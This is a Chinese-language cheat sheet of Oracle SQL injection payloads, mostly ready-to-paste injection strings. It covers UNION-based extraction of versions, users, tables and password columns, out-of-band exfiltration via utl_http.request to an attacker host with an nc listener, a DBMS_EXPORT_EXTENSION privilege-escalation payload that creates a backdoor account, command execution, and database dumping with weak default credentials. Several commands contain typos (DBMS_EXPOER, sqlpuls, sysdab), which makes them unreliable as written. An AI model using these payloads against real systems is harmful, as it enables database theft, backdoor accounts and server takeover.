0x01: SQL 注入盘点:

判断是否存在注入点的方法与其他数据库类似,如:and 1=1 和 and 1=2 等方法。

0x02:判断数据库为 Oracle:

(1) 出错信息直接 显示 Oracle。

(2) 通过注释符号来判断:

提交注释字符 /*,返回正常的是MySQL,否则继续提交注释符号—,该符号是Oranle 和 MSSQL 支持的注释符,返回正常继续判断。

(3)多行查询判断:

Oracle 不支持多行查询,可以提交查询语句:

  1. and exist(select * from dual) and (select count(*) from user_tables) > 0--

利用的原理是 dual表和 user_tables 表是 Oracle 中的系统表,返回正常判断为Oracle。

0x03:获取基本信息:

(1)获取字段数:

可以使用 Order BY N 根据返回页面判断。

(2)获取数据库版本:

执行下面的语句。

  1. and 1=2 union select 1,2,(select banner from sys.v_$version where rownum=1),4,5,6 from dual

(3) 获取数据库连接用户名。

  1. and 1=2 union select 1,2,(select SYS_CONTEXT('USERENV','CURRENT_USER') from dual),4,5,6 from dual

(4) 获取日志文件的绝对路径:

同样这个通过这个绝对路径判断系统类型

  1. and 1=2 union select 1,2,(select instance_name from v$instance),4,5,6 from dual

0x04: 猜测数据库、表和列名:

(1) 爆出数据库名:

  1. and 1=2 union select 1,2,(select owner from all_tables where rownum=1) ,4,5,6 from dual


依次爆出所有数据库名,假设第一个库名为first_dbname:

  1. and 1=2 union select 1,2,(select owner from all_tables where rownum=1 and owner<>'first_name') ,4,5,6 from dual

(2) 爆出表名:

爆出第一个表名

  1. and 1=2 union select 1,2,(select table_name from users_tables where rownum=1),4,5,6 from dual


爆出下一个表名与下一个数据库类似,但需要注意的是,表名用大写或大写的十六进制表示。有时只想要某个数据库中密码字段的表名,可以采用模糊查询语句。

  1. and (select column_name from user_tab_columns where column_name like'%25pass%25') > 0

如果成功可以继续提交:

  1. and 1=2 union select 1,2 (select column_name from user_tab_columns where column_name like'%25pass%25') ,4,5,6 from dual

(3) 爆出字段名:

爆出表 tablename 中的第一个字段名:

  1. and 1=2 union select 1,2 (select column_name from user_tab_columns where table_name='tablename' and rownum=1 ) ,4,5,6 from dual

0x05: Oracle 注入过程的特性:

(1) 字段类型必须确定。

Oracle 注入中严格要求各个字段的类型必须和定义的一直,否则会出错,可以通过下面的方法确定 各个字段的类型:

  1. and 1=2 union select 'null',null,null,null,null,null from dual

如此将上面的每个Null 用单引号替换,查看返回页面、返回正常则说明那个字段为字符型。确定所有的字符类型就可以注入了,是字符型的就用 ‘null’ ,数字型的就直接用 null。

(2) UTL_HTTP 存储过程的反弹注入:

Oracle 中提供 utl_http.request的函数,用于取得远程web 服务器的请求信息,因为可以利用它来反弹信息。具体使用方法如下:

①: 判断UTL_HTTP 存储过程是否可用:

  1. and exist(select count(*) from all_objects where object_name = 'UTL_HTTP')


②:本地用nc 监听一个端口 nc -lvvp 8989

③: 注入点执行:

  1. and utl_http.request('http://www.xxx.com:port' || (SQL Query)) =1 and utl_http.request('http:///www.com:port'|| (select banner from sys.v_$version where rownum=1)) =1 --


在nc端就会接收到sql 执行返回的结果,这个方法有点繁琐,因为每次注入点提交一次请求时nc 会断开连接,需要重新启动。

(3) 系统特性

在Windows 下,Oracle 是以服务方式启动,而在 web 注入下就可以直接获得 system 权限,在Linux 下虽然不是 root ,不过权限很高,可以通过web 注入添加系统账户。
SYS.DBMS_EXPORT_EXTENSION.GET.DOMAIN_INDEX_TABLES() 调用的函数

具体的应用方法如下:

  1. SYS.DBMS_EXPORT_EXTENSION.GET.DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1); [Attack-Command] END ; --',SYS',0,'1',0)


将其中的 attack-command 替换为对应的命令即可,此方法必须结合上面的UTL_HTTP存储过程。

(4) 创建远程连接账号。

  1. 注入点执行:
  1. and '1' <> '2' || ( select SYS.DBMS_EXPOER_EXTENSION.GET.DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE '' DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '' '' Create USER LengF IDENTIFIED BY HACKER '' '' ; END;--',SYS,0,'1',0 ) FROM DUAL


确定账号是否添加成功:

  1. and 1 <> (select user_id from all_users where username= 'LengF')

赋予账户远程连接权限:

  1. and '1' <> '2' || ( select SYS.DBMS_EXPOER_EXTENSION.GET.DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE '' DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '' '' GRANT CONNECT LengF '' '' ; END;--',SYS,0,'1',0 ) FROM DUAL

删除账号:

  1. and '1' <> '2' || ( select SYS.DBMS_EXPOER_EXTENSION.GET.DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE '' DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '' '' drop USER LengF '' '' ; END;--',SYS,0,'1',0 ) FROM DUAL

(5) 命令执行:

通过添加账号或其他手段获取远程连接权限后,利用 SQLPUS 连接后即可执行命令。在 WIndows 中使用host CMD #,如ipconfig
在 linux 下使用: !command CMD 。

0x06: Oracle 数据库导出:

(1) 登录服务器:

  1. ssh root@localhost

在内网中常常有弱口令 oracle / oracle

(2) 在 ssh 中执行:

  1. exp oracle_username/oracle_password file=/tmp/oracledatabasename.dump owner=databasename

7. Oracle 数据库数据导入:

在windows 下 安装时默认创建导入的数据库名称

(1) 执行 sqlpsls ;

  1. sqlpuls /nolog

(2) 以DBA 连接:

  1. conn /as sysdab;

(3) 创建欲导入的表空间:

  1. create tablespace spms datafile = 'd:\app\administrator\oradata\spms.dbf' size 50m autoextend on;

(4) 创建用户:

  1. create user dbms identified by 888888;

(5) 授予权限:

  1. grant create user ,drop user , alter user,create any view ,drop any view ,exp_full_database,imp_full_database,dba,connect,resource,read,write,create session to dbms;

(6) 导入数据库:

  1. imp dbms/888888@dbms full=y dile=d:\dbms.tmp ignore=y